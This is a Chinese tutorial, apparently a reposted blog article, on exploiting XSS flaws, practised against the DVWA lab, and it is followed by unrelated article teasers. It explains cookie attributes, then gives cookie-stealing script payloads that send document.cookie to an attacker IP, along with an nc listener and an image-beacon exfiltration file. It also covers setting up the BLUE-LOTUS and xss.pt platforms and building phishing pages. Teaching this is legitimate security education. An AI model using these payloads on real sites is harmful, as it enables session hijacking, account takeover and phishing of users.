05. XSS漏洞利用

news2024/11/16 1:44:37

05. XSS漏洞利用

XSS漏洞利用(上)

获取cookie

什么是cookie?

**定义:**cookie是指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)

**作用:**服务器可以设置或读取cookie中包含的信息,借此识别用户身份并维护用户跟服务器会话的状态。比如,当登录一个网站时,网站往往会请求用户输入用户名和密码,并且用户可以勾选“下次自动登录”。如果勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登录了。这正是因为前一次登录时,服务器发送了登录凭据(用户名加密码的某种加密形式)的cookie到用户的硬盘上。第二次登录时,如果该cookie尚未到期,浏览器会发送该cookie,服务器验证凭据,于是不必输入用户名和密码就让用户登录了。

cookie的组成
  • **Name=Value:**设置cookie的名称和值;对于认证Cookie,Value值包括Web服务器所提供的访问令牌。
  • **Expires:**设置cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭网页时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效。
  • **Path:**cookie所属路径,只有改路径及其下级目录才能够获取该cookie。
  • Domain:指定了可以访问该 cookie 的 Web 站点或域,只有这个域或者子域才能够获取该cookie。
  • **Secure:**设置Secure表示该cookie只可使用HTTPS协议传输。
  • **HTTPOnly:**设置HTTPOnly表示该cookie不能被javascript读取,用于防止客户端脚本通过document.cookie属性访问Cookie。
  • **SameSite:**用于定义cookie如何跨域发送。
实验:获取cookie

在这里插入图片描述

方法1:请求带出

在VPS上开启监听,向存在XSS漏洞的网站插入代码后,可以接收到目标的cookie(base64编码格式)。

VPS上开启监听:

nc -lvp 7777 // 监听7777端口

XSS利用代码:

# 浏览器新打开一个窗口,访问指定的ip和端口,并带上了cookie
<script>windows.open('http://ip:port/?q=' + btoa(document.cookie));</script>
# 在当前窗口访问ip和端口
<script>location.href = 'http://ip:port/?q=' + btoa(document.cookie));</script>
方法2:访问指定网址并执行代码

在自己的服务器上建立恶意代码文件xss_getcookie.js

var img = document.createElement("img");
img.src = "http://ip:8888/?q=" + btoa(document.cookie);
document.body.appendChild(img);

然后在漏洞点插入恶意代码:

<script src = http://ip/xss_getcookie.js></script>

查看Web日志(默认路径/var/log/apache2/access.log),可以看到目标cookie

在这里插入图片描述

方法3:利用BLUE-LOTUS平台

BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台,可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。

安装BLUE-LOTUS平台

将安装文件放在网站目录下,访问install.php文件,默认安装即可,再访问login.php登录(默认密码为bluelotus)。

BLUE-LOTUS平台的使用

在这里插入图片描述

进入“我的JS”模块,选择插入“default.js”模块

在这里插入图片描述

将website修改为平台网址(https://ip/Blue/index.php,注意:是index.php,不是admin.php),命名文件并保存

在这里插入图片描述

<script>alert(123)</script> #payload

点击生成payload

在这里插入图片描述

将payload插入存在XSS漏洞的网站,payload执行后平台会收到cookie。利用cookie可以无密码登录网站。

在这里插入图片描述

漏洞钓鱼

漏洞钓鱼

利用XSS漏洞,可以修改网站的链接,让用户访问伪装成正常网站的恶意网站。比如:可以利用flash钓鱼。将项目源码放到web网站里,修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload:

<script src = http://ip/fakeflash/flash.js>

在这里插入图片描述

第三方XSS利用平台

使用第三方XSS利用平台

免费邮箱:http://24mail.chacuo.net/

在这里插入图片描述

XXSPt平台:https://xss.pt

在这里插入图片描述

实验准备
  1. 临时邮箱

    用来注册XSS在线平台账号

  2. DVWA靶场

    利用靶场反射型或者存储型XSS做实验

  3. 钓鱼界面

    构造钓鱼链接,或者钓鱼页面

XSS利用平台——xss.pt

在这里插入图片描述

创建项目得到利用脚本

在这里插入图片描述

利用——获取到cookie

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/97107.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jsp+ssm计算机毕业设计宠物医院信息管理系统【附源码】

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JSPSSM mybatis Maven等等组成&#xff0c;B/S模式 Mave…

垃圾回收相关概念

文章目录1. System.gc()的理解2.内存溢出与内存泄漏3. Stop The World4. 并发与并行5. 安全点与安全区域的说明6. 强引用、软引用、弱引用、虚引用1. System.gc()的理解 2.内存溢出与内存泄漏 3. Stop The World 4. 并发与并行 5. 安全点与安全区域的说明 6. 强引用、软引用、弱…

jsp+ssm计算机毕业设计大学生家教服务推荐系统【附源码】

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JSPSSM mybatis Maven等等组成&#xff0c;B/S模式 Mave…

nuxt.js如何将访问的外部ip修改为本地ip? Do you want Code to open the external website?

问题描述&#xff1a; 提示&#xff1a;Do you want Code to open the external website? 译文&#xff1a;是否希望代码打开外部网站&#xff1f; 说明我们nuxt.js访问的是别人的ip地址&#xff0c;而并不是自己的ip 问题解决&#xff1a; 方法一&#xff1a; 查看packa…

Python中GDAL批量绘制多时相栅格遥感影像的像元时间序列曲线图

本文介绍基于Python中gdal模块&#xff0c;对大量多时相栅格图像&#xff0c;批量绘制像元时间序列折线图的方法。 首先&#xff0c;明确一下本文需要实现的需求&#xff1a;现有三个文件夹&#xff0c;其中第一个文件夹存放了某一研究区域原始的多时相栅格遥感影像数据&#x…

C/C++socket网络编程

目录tcp和udp通信流程图socket函数bind函数listen函数accept函数connect函数recv、recvfrom、read函数send、write、sendto、sendmsg函数close、shutdown函数htonl、ntohl、htons、ntohs本地主机和网络字节序转换inet_addr、inet_aton、inet_ntop&#xff0c;IP地址转换函数set…

Spark-概述+快速上手+运行环境

文章目录概述Spark and HadoopSpark or Hadoop核心模块快速上手Spark运行环境Local(本地)Standalone模式搭建和使用提交参数说明配置历史服务配置高可用&#xff08;HA&#xff09;Yarn模式K8S & Mesos 模式部署模式对比端口号概述 Spark 是一种基于内存的快速、通用、可扩…

红米Note7pro安装TWRP及安装PixelExperience系统

参考&#xff1a;https://www.youtube.com/watch?vjB9ksQrxr20&ab_channelTechnologyVikram 所需文件&#xff1a; 一. youtube:Vikram--OTG优盘 (https://www.youtube.com/watch?vjB9ksQrxr20&ab_channelTechnologyVikram) 1.刷入TWRP a. 准备工作&#xff1a;打开…

MR案例:学生排序

排序一、提出任务二、完成任务&#xff08;一&#xff09;准备数据1、在虚拟机上创建文本文件2、上传文件到HDFS指定目录&#xff08;二&#xff09;实现步骤1、创建学生实体类2、创建学生映射器类3、创建学生归并器类4、创建学生驱动器类5、启动学生驱动器类&#xff0c;查看结…

JVM虚拟机简介

、 什么是JVM&#xff1f; JVM是Java Virtual Machine&#xff08;Java虚拟机&#xff09;的缩写&#xff0c;JVM是一种用于计算设备的规范&#xff0c;它是一个虚构出来的计算机&#xff0c;是通过在实际的计算机上仿真模拟各种计算机功能来实现的。Java虚拟机包括一套字节码指…

IDEA maven 向项目添加模块时出错创建项目失败

原因一&#xff1a;Maven 版本太新 || Java 版本选择了 JAVA 18 选择 java 版本为1.8构建 即可成功&#xff0c;第一次maven项目建立的时候下图红框内容如图即可 原因二&#xff1a;IDEA 的 maven插件 没有加载完成 通常发生在重设 maven 路径|仓库之后 原因三&#xff1a;mav…

RK3588平台开发系列讲解(RKNN篇)RKNN Android平台开发说明

平台内核版本安卓版本RK3588Linux 5.10Android12🚀返回专栏总目录 文章目录 一、 Android 平台 RKNN API 库二、EXAMPLE 使用说明沉淀、分享、成长,让自己和他人都能有所收获!😄 📢RKNN SDK 为带有 RKNPU 的芯片平台提供编程接口,能够帮助用户部署使用 RKNN-Toolkit2导…

uni-app卖座电影多端开发纪实(六):多端打包

@打包为H5站点 打包站点 HBuilder中菜单中依次点击【发行】-【网站-PC Web或手机H5(仅适用于uni-app)】填写网站标题,点击发行控制台会输出类似如下信息此时站点需要的文件已经被打包到了unpackage/dist/build/h5目录部署站点 复制上一步中生成的h5目录到Nginx的部署目录下…

【QT开发笔记-基础篇】| 第五章 绘图QPainter | 5.5 多段线、多边形

本节对应的视频讲解&#xff1a;B_站_视_频 https://www.bilibili.com/video/BV1ZP4y1S7Ax 本节讲解如何绘制多段线、多边形 1. 相关的 API 直接查看官方的帮助文档&#xff0c;可以看到有多个重载的方法用于绘制多段线、多边形 1.1 多段线 将多个点连接形成多段线 比如&…

Linux基础(4)进程管理

该文章主要为完成实训任务&#xff0c;详细实现过程及结果见【参考文章】 参考文章&#xff1a;https://howard2005.blog.csdn.net/article/details/127066383?spm1001.2014.3001.5502 文章目录一、查看进程1. 进程查看命令 - ps2. Liunx进程状态3. 观察进程变化命令 - top4. …

jsp+ssm计算机毕业设计大学教师年终考核管理信息系统【附源码】

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JSPSSM mybatis Maven等等组成&#xff0c;B/S模式 Mave…

浅析nvme原子写的应用场景

1.NVMe原子写简介 NVME协议家族&#xff0c;当前发展的已经非常庞大&#xff0c;来张nvme家族大合影。从最开始的NVME Base Spec&#xff0c;又延伸了更加专业聚焦的模块Command Set Spec、Transport Spec&#xff0c;NVME MI Spec等等。 在Command Set Spec中&#xff0c;我们…

【学习笔记】pytest接口自动化测试框架入门(pytest+yaml)

pytest接口自动化测试框架入门&#xff08;pytestyaml&#xff09; 文章目录自动化测试需要包含的内容pytest的安装使用pytest默认的测试用例的规则和基础使用:pytest测试用例的运行方式pytest执行测试用例的顺序分组执行pytest跳过测试用例pytest框架前后置处理解&#xff08;…

智能指针循环引用——你真的懂了吗?

相信不少同学都在面试中都被问到过c智能指针的问题&#xff0c;接踵而至的必定是循环引用了&#xff0c;而我每次的答案都是一招鲜&#xff1a;因为它们都在互相等待对方先释放&#xff0c;所以造成内存泄漏。面试官很满意&#xff0c;我也很满意。 但是为啥要等到对方先释放&…

STM8开发实例-ADC

ADC 1、ADC介绍 ADC 是任何现代微控制器中非常重要的外设。 它用于读取传感器的模拟输出、检测电压电平等。 例如,我们可以使用 ADC 读取 LM35 温度传感器。 传感器的电压输出与温度成正比,因此我们可以使用电压信息来反算温度。 下图是STM8s的ADC外设框图: 在使用 ADC 之…